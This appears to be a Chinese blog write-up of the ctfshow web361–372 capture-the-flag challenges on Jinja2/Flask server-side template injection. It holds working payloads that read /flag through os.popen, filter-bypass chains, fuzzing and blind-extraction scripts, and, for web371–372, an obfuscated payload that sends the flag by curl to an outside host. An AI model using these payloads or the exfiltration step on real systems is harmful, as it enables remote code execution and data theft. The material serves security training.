ctfshow web入门-SSTI

最新推荐文章于 2024-08-31 12:52:14 发布
最新推荐文章于 2024-08-31 12:52:14 发布
阅读量1.4k 收藏 6
点赞数 2
分类专栏： # ctfshow-web 文章标签： python SSTI ctfshow WEB安全 命令执行
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/lyj20010728/article/details/120190525
版权

ctfshow web入门-SSTI

web361

题目描述

  • 名字就是考点

解题思路

  • 直接读取 FLAG 即可，这里利用的是 os._wrap_close 类
''.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()
或者
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("cat /flag").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
  • 贴一下确定 index 的脚本
import requests
from tqdm import tqdm

url = 'http://c019cb84-3254-4af1-bc56-f8bb3d483c7c.challenge.ctf.show:8080/?name='
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'}
for i in tqdm(range(500)):    
    url = url + "{{''.__class__.__mro__[-1].__subclasses__()[" + str(i) + "]}}"
    res = requests.get(url=url, headers=headers)
    if 'os._wrap_close' in res.text:
        print(i)
        break

web362

题目描述

  • 开始过滤

解题思路

  • 用上一题 {% %} 形式的 Payload 一把梭
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("cat /flag").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

web363

题目描述

  • 开始过滤

解题思路

  • 写个 FUZZ 的脚本（欢迎评论补充）看看过滤了啥
import requests
from tqdm import tqdm

url = 'http://889a9ec1-3a91-4e11-925e-3bde2e60fb4a.challenge.ctf.show:8080/?name='

headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
fuzzList = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','０','１','２','３','４','５','６','７','８','９','\\','\'','\"','.','+','{','{{','%','#','if','for','class','(',')','[',']','base','bases','mro','_','__','init','globals','subclasses','popen','import','os','dir','builtins','config','get_flashed_messages','current_app','attr','getattr','request','chr','join','|','replace','decode','enter','exit','pop','getitem','args','url_for','range','session','dict','self','reload','count','length','print','curl']
blackList = []
for fuzz in tqdm(fuzzList):
    res = requests.get(url=(url+fuzz), headers=headers)
    if ':(' in res.text:
        blackList.append(fuzz)
print("blackList is ", end="")
print(blackList)
  • 测试后发现过滤了 ' 和 "，利用 request.args 、request.cookies 或者 request.values(也可以用于GET请求) 来绕过
{{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}&a=os&b=popen&c=cat%20/flag

web364

题目描述

  • 开始过滤

解题思路

  • 用 web363 的 FUZZ 脚本先跑一下，发现过滤了 ' 、" 和 args，用 request.values 发现不允许，那就用 request.cookies 来绕过吧
{{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
Cookie：a=os&b=popen&c=cat%20/flag

web365

题目描述

  • 开始过滤

解题思路

  • 用 web363 的 FUZZ 脚本先跑一下，发现过滤了 ' 、" 、[ 和 args
{{url_for.__globals__.os.popen(request.cookies.c).read()}}
Cookie：c=cat%20/flag

web366

题目描述

  • 开始过滤

解题思路

  • 用 web363 的 FUZZ 脚本先跑一下，发现过滤了 ' 、" 、[ 、_ 和 args，用 falsk 自带的过滤器 attr 来绕过
{{(lipsum|attr(request.cookies.globals)).os.popen(request.cookies.flag).read()}}
Cookie：globals=__globals__&flag=cat%20/flag

web367

题目描述

  • 开始过滤

解题思路

  • 用 web363 的 FUZZ 脚本先跑一下，发现过滤了 ' 、" 、[ 、__ 、os、get_flashed_messages、current_app、url_for 和 args，继续用 falsk 自带的过滤器 attr 来绕过，并且将 os 放进 request 即可
{{(lipsum|attr(request.values.globals)).get(request.values.a).popen(request.values.flag).read()}}&globals=__globals__&a=os&flag=cat%20/flag

web368

题目描述

  • 开始过滤

解题思路

  • 用 web363 的 FUZZ 脚本先跑一下，发现过滤了 ' 、" 、{{、[ 、__ 、os、get_flashed_messages、current_app、url_for 和 args，用 {% %} 来绕过
{% print((lipsum|attr(request.values.globals)).get(request.values.a).popen(request.values.flag).read()) %}&globals=__globals__&a=os&flag=cat%20/flag
  • 还可以采用盲注的方式，这里放一个其他大师傅的盲注脚本
import requests

url="http://3db27dbc-dccc-46d0-bc78-eff3fc21af74.chall.ctf.show:8080/"
flag=""
for i in range(1,100):
    for j in "abcdefghijklmnopqrstuvwxyz0123456789-{}":
        params={
            'name':"{{% set a=(lipsum|attr(request.values.a)).get(request.values.b).open(request.values.c).read({}) %}}{{% if a==request.values.d %}}H3rmesk1t{{% endif %}}".format(i),
            'a':'__globals__',
            'b':'__builtins__',
            'c':'/flag',
            'd':f'{flag+j}'
        }
        r=requests.get(url=url,params=params)
        if "H3rmesk1t" in r.text:
            flag+=j
            print(flag)
            if j=="}":
                exit()
            break

web369

题目描述

  • 开始过滤

解题思路

  • 用 web363 的 FUZZ 脚本先跑一下，发现过滤了 ' 、" 、{{、[ 、__ 、os、get_flashed_messages、current_app、url_for 、request 和 args，利用 config 来构造字符，这里转换成列表，再用列表的 pop 方法就可以成功得到某个字符
  • 这里贴一个脚本用来确定需要用到的字符在列表中的位置
import requests
from tqdm import tqdm

url = 'http://520dba47-0b81-4ed7-b420-33cc1ce8fa2f.challenge.ctf.show:8080/?name='
headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
wordNeed = '_'
for i in tqdm(range(100)):
    url1 = "{%" + "set po=dict(po=a,p=a)|join() %}{%" + " set a=(()|select|string|list)|attr(po)("
    url2 = ") %}{% print(a) %}"
    res = requests.get(url=(url+url1+str(i)+url2),headers=headers)
    location=res.text.find("<h3>")
    word=res.text[location+4:location+5]
    if word == wordNeed:
        print(i,word)
  • Payload
{% set po=dict(po=a,p=a)|join() %}
{% set a=(()|select|string|list)|attr(po)(24) %}
{% set ini=(a,a,dict(init=a)|join(),a,a)|join() %}
{% set glob=(a,a,dict(globals=a)|join(),a,a)|join() %}
{% set geti=(a,a,dict(getitem=a)|join(),a,a)|join() %}
{% set built=(a,a,dict(builtins=a)|join(),a,a)|join() %}
{% set x=(q|attr(ini)|attr(glob)|attr(geti))(built) %}
{% set chr=x.chr %}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103) %}
{% print(x.open(file).read()) %}
或者
{% set o=dict(o=oo,s=ss)|join() %}
{% set po=dict(po=a,p=a)|join() %}
{% set a=(()|select|string|list)|attr(po)(24) %}
{% set glob=(a,a,dict(globals=a)|join(),a,a)|join() %}
{% set built=(a,a,dict(builtins=a)|join(),a,a)|join() %}
{% set x=(lipsum|attr(glob)).get(built) %}
{% set chr=x.chr %}
{% print(x.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read()) %}

web370

题目描述

  • 开始过滤

解题思路

  • 先 FUZZ 一下得到黑名单：'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '\',"'", '"', '{{', '[', '_', '__', 'os', 'get_flashed_messages', 'current_app', 'request', 'args', 'url_for'，利用 count 或者 length 来获取数字，例如 {% set c=(dict(e=a)|join()|count) %} 或者 {% set c=(dict(e=a)|join()|length) %} 就能得到数字 1
  • Payload
{% set c=(dict(e=a)|join()|count) %}
{% set cc=(dict(ee=a)|join()|count) %}
{% set ccc=(dict(eee=a)|join()|count) %}
{% set cccc=(dict(eeee=a)|join()|count) %}
{% set ccccccc=(dict(eeeeeee=a)|join()|count) %}
{% set cccccccc=(dict(eeeeeeee=a)|join()|count) %}
{% set ccccccccc=(dict(eeeeeeeee=a)|join()|count) %}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join()|count) %}
{% set coun=(cc~cccc)|int %}
{% set po=dict(po=a,p=a)|join() %}
{% set a=(()|select|string|list)|attr(po)(coun) %}
{% set ini=(a,a,dict(init=a)|join(),a,a)|join() %}
{% set glo=(a,a,dict(globals=a)|join(),a,a)|join() %}
{% set geti=(a,a,dict(getitem=a)|join(),a,a)|join() %}
{% set built=(a,a,dict(builtins=a)|join(),a,a)|join() %}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built) %}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int) %}
{% print(x.open(file).read()) %}

web371

题目描述

  • 开始过滤

解题思路

  • 先 FUZZ 一下得到黑名单：'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', "'", '"', '{{', '[', '_', '__', 'os', 'get_flashed_messages', 'current_app',' request', 'args', 'url_for', 'print'，由于过滤了 print，这里采用反弹 shell 的方式来获取 FLAG
{% set b=(t|length)%}
{% set c=dict(c=z)|join|length %}
{% set cc=dict(cc=z)|join|length %}
{% set ccc=dict(ccc=z)|join|length %}
{% set cccc=dict(cccc=z)|join|length %}
{% set ccccc=dict(ccccc=z)|join|length %}
{% set cccccc=dict(cccccc=z)|join|length %}
{% set ccccccc=dict(ccccccc=z)|join|length %}
{% set cccccccc=dict(cccccccc=z)|join|length %}
{% set ccccccccc=dict(ccccccccc=z)|join|length %}
{% set cccccccccc=dict(cccccccccc=z)|join|length %}
{% set space=(()|select|string|list).pop(ccccc*cc) %}
{% set xhx=(()|select|string|list).pop(ccc*cccccccc) %}
{% set point=(config|string|list).pop(cccccccccc*cc*cccccccccc-ccccccccc) %}
{% set maohao=(config|string|list).pop(cc*ccccccc) %}
{% set xiegang=(config|string|list).pop(-cccccccc*cccccccc) %}
{% set globals=(xhx,xhx,dict(globals=z)|join,xhx,xhx)|join %}
{% set builtins=(xhx,xhx,dict(builtins=z)|join,xhx,xhx)|join %}
{% set open=(lipsum|attr(globals)).get(builtins).open %}
{% set result=open((xiegang,dict(flag=z)|join)|join).read() %}
{% set curlcmd=(dict(curl=z)|join,space,dict(http=z)|join,maohao,xiegang,xiegang,ccc,ccccccccc,ccccc,point,cc,cccccccccc,ccccc,point,c,cccc,ccccccccc,point,c,b,cccccc,maohao,ccccccccc,cccccccc,ccccccc,ccccccccc,xiegang,result)|join %} 
{% set ohs=dict(o=z,s=z)|join %}
{% set shell=(lipsum|attr(globals)).get(ohs).popen(curlcmd) %}

web372

题目描述

  • 开始过滤

解题思路

  • 先 FUZZ 一下得到黑名单：'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', "'", '"', '{{', '[', '_', '__', 'os', 'get_flashed_messages', 'current_app',' request', 'args', 'url_for', 'print', 'count'，由于过滤了 print，这里采用采用反弹 shell 的方式来获取 FLAG，过滤的 count 用 length 来代替
{% set b=(t|length)%}
{% set c=dict(c=z)|join|length %}
{% set cc=dict(cc=z)|join|length %}
{% set ccc=dict(ccc=z)|join|length %}
{% set cccc=dict(cccc=z)|join|length %}
{% set ccccc=dict(ccccc=z)|join|length %}
{% set cccccc=dict(cccccc=z)|join|length %}
{% set ccccccc=dict(ccccccc=z)|join|length %}
{% set cccccccc=dict(cccccccc=z)|join|length %}
{% set ccccccccc=dict(ccccccccc=z)|join|length %}
{% set cccccccccc=dict(cccccccccc=z)|join|length %}
{% set space=(()|select|string|list).pop(ccccc*cc) %}
{% set xhx=(()|select|string|list).pop(ccc*cccccccc) %}
{% set point=(config|string|list).pop(cccccccccc*cc*cccccccccc-ccccccccc) %}
{% set maohao=(config|string|list).pop(cc*ccccccc) %}
{% set xiegang=(config|string|list).pop(-cccccccc*cccccccc) %}
{% set globals=(xhx,xhx,dict(globals=z)|join,xhx,xhx)|join %}
{% set builtins=(xhx,xhx,dict(builtins=z)|join,xhx,xhx)|join %}
{% set open=(lipsum|attr(globals)).get(builtins).open %}
{% set result=open((xiegang,dict(flag=z)|join)|join).read() %}
{% set curlcmd=(dict(curl=z)|join,space,dict(http=z)|join,maohao,xiegang,xiegang,ccc,ccccccccc,ccccc,point,cc,cccccccccc,ccccc,point,c,cccc,ccccccccc,point,c,b,cccccc,maohao,ccccccccc,cccccccc,ccccccc,ccccccccc,xiegang,result)|join %} 
{% set ohs=dict(o=z,s=z)|join %}
{% set shell=(lipsum|attr(globals)).get(ohs).popen(curlcmd) %}

trick

  • 可以用全角数字代替正常数字
def half2full(half):  
    full = ''  
    for ch in half:  
        if ord(ch) in range(33, 127):  
            ch = chr(ord(ch) + 0xfee0)  
        elif ord(ch) == 32:  
            ch = chr(0x3000)  
        else:  
            pass  
        full += ch  
    return full  
t=''
s="0123456789"
for i in s:
    t+='\''+half2full(i)+'\','
print(t)
H3rmesk1t
关注
专栏目录
CTF-WEB入门DOC-2019版1
08-03
【CTF-WEB入门DOC-2019版1】主要涵盖了CTF竞赛与Web安全相关的基础知识和进阶技能，适合对网络安全有兴趣，尤其是希望在Web安全领域发展的人群。以下将详细介绍其中的关键知识点： 一、CTF简介及目标： CTF...
ctfshow--web--爆破
whisper921的博客
01-29 3630
web21 先输入账号admin,密码随便输入，bp抓包 输入的账户名和密码被base64加密了，用burp自带解密发现账户名和密码之间用冒号隔开了 接下来可以爆破了 载入题目字典 加前缀 再加一个编码 这个应该取消掉，因为里面有=，会造成编码失败 把flag格式输进去 开始爆破 得到flag web22 推荐使用这个网站 输入wp.ctf.show 没有发现 输入其他地址也没...
《重生之我要把ctfshow刷完》之信息收集篇
weixin_44502336的博客
11-28 1133
这段时间一直搞比赛，而且日常零输出，所以复现了几个礼拜的小呆决定重拾自己和学弟一人250买的会员，开始ctfshow的"web入门"之旅（不得不说，ctfshow真的是yyds） 啪很快啊。 第一章是信息收集 web1 很简单的，flag就在前端html源码里面 web2 众所周知，类似于这种无法查看前端源代码的情况，其实我们可以直接用view-source: web3 有时候，让我们抓个包这种题目，直接F12 进入network直接看响应头，就能直接找到flag web4 web4其实也是一个ctf常用
ctfshow vip
最新发布
weixin_64936150的博客
08-31 176
尝试使用弱口令密码登录，发现用户为admin时报错“密码错误” 用户名为admin1时提示用户名错误，可确定存在用户名为admin的用户。尝试在页面中寻找信息，未发现flage 但是在php相关参数中找到两个可以进入的子页面，尝试在页面中搜索得到flage。查看页面信息寻找密码 发现1帮助热线电话可疑拿来尝试，登陆成功获取到flage。子域名扫描得到以下地址，尝试访问，发现/admin为登录页面。尝试在页面中寻找有无信息泄露点，发现存在数字，利用进行尝试。发现所在地为陕西西安，尝试输入发现成功重置密码。
ctfshowJAVA
njh18790816639的博客
04-16 3389
web279~279 这里便是跑脚本的事了！ python Struts2Scan.py -u http://892a1226-9adc-4c5b-a700-c1ba9ca6ee26.challenge.ctf.show:8080/login.action 然后进行利用 python Struts2Scan.py -u http://892a1226-9adc-4c5b-a700-c1ba9ca6ee26.challenge.ctf.show:8080/login.action -n S2-009 --e
CTFshow——SSTI
D.MIND 的博客
03-06 2183
首先一定要了解有关python类的知识： python __base__等内置方法 python inspect模块解析 # coding=utf-8_ _author__ = "leaves" class Base(object): a = 0 def __init__(self): self._a = 10 pass class Child(Base): "测试测试" _b = 10 def __str__(
CTFSHOW SSTI入门
v2ish1yan的博客
09-02 637
ssti入门题
ssti-payload：SSTI有效载荷生成器
02-06
SSTI有效载荷发生器 该生成器是针对特定类型的Java SSTI的，其受以下启发： ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99)....
Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
11-30
Server-Side Template Injection (SSTI) 是一种严重的网络安全漏洞，尤其在现代Web应用程序中，它可能导致远程代码执行（RCE）。2015年，James Kettle在黑帽大会上详细阐述了这种攻击方式，强调了它如何被误认为是跨...
Web入门指北1
08-03
Web入门指南旨在帮助初学者了解并踏入Web安全领域。Web方向是网络安全竞赛（CTF）中的一个重要部分，因其不需要深入的系统底层知识或高级数学能力而成为相对较易入门的领域。Web安全的特点在于其涉及的知识点众多且...
全国大学生信息安全竞赛决赛web4，SSTI+TensorFlow模型.zip
08-20
全国大学生信息安全竞赛决赛web4，SSTI+TensorFlow模型.zip 全国大学生信息安全竞赛决赛web4，SSTI+TensorFlow模型.zip 全国大学生信息安全竞赛决赛web4，SSTI+TensorFlow模型.zip 全国大学生信息安全竞赛决赛web...
ctfshow web入门ssti
m0_74092885的博客
11-12 175
也可以将其中的request.args改为request.values，POST和GET两种方法传递的数据request.values都可以接收。我们执行一下whoami的命令，这里一定要记得用.read()来读取一下，因为popen方法返回的是一个file对象。由题目提示，“名字就是考点”，可以猜测，改题目url的参数名应为name，输入name=world测试一下。我们一般常用的是os._wrap_close子类，因为该类具有popen方法，该方法可以执行系统命令。Cookie传参：x=tac /f*
SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号、数字、print、(372过滤了count)被过滤绕过（ctfshow web入门371-372）
T1ngSh0w的博客
03-30 447
CTFshow web入门371 CTFshow web入门372 中括号、args、下划线、引号、os、request、花括号、数字、print、（372过滤了count） SSTI模板注入漏洞
ctfshow2
lovechinasomuch的博客
04-19 523
查看源代码，发现js泄漏文件，有一段可疑的unicode码，把它转成中文显示“你赢了，去幺幺零点皮爱吃皮看看”即网站访问地址后面拼接 /110.php即可得到flag。忘记密码 需要所在地城市可通过添加qq号查看：西安，重置密码为admin7789 输入账号admin 密码admin7789得到flag。查看页面源码，没有发现有用信息 访问robots.txt得到admin 访问后得到管理员账号admin。接着就是密码的猜测我猜不到 将进度条滑到最后，发现了一串电话数字，作为密码，登录成功后拿到flag。
ctf.show_VIP题目限免(全)
BvxiE的博客
03-25 5778
VIP题目限免源码泄露前台JS绕过手动源码查看ctrl+u或在网站前面加view-source:Burpsuite禁用javascript的方法协议头信息泄露robots后台泄露补phps源码泄露源码压缩包泄露版本控制泄露源码版本控制泄露源码2vim临时文件泄露cookie泄露**注意：用其他浏览器得到的很奇怪** 这题目全英…英语废一个，所以我把题目全部复制过来了 源码泄露 ‎ 您没有访问所请求资源的权限。它要么是受读保护的，要么不能被服务器读取。 题目提示源码…那就找源码吧！ 前台JS绕过 提示
ctfshow—反序列化
cosmoslin的博客
11-15 2185
简介 序列化其实就是将数据转化成一种可逆的数据结构，自然，逆向的过程就叫做反序列化。 php 将数据序列化和反序列化会用到两个函数 serialize 将对象格式化成有序的字符串 unserialize 将字符串还原成原来的对象 序列化的目的是方便数据的传输和存储，在PHP中，序列化和反序列化一般用做缓存，比如session缓存，cookie等。 常见的魔术方法 __construct()，类的构造函数 __destruct()，类的析构函数 __call()，在对象中调用一个不可访问方法时调用
ctfshow---web入门---SSTI（361-368）
2301_80470992的博客
03-16 487
根据题目给的“名字就是考点”，所以构建playloadstrstrobjectobjectobject[132].__init____init__['popen']popenos.popen。
ctfshow web入门（SSTI）
m0_62422842的博客
06-18 1434
ctfshow的web入门中ssti题目的总结
ctfshow ssti
07-27
CTFShow SSTI（Server-Side Template Injection）是一个与安全相关的话题，它涉及到服务器端模板注入漏洞。在某些情况下，当应用程序接受用户输入并将其作为模板的一部分进行解析时，攻击者可以利用这个漏洞来执行...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值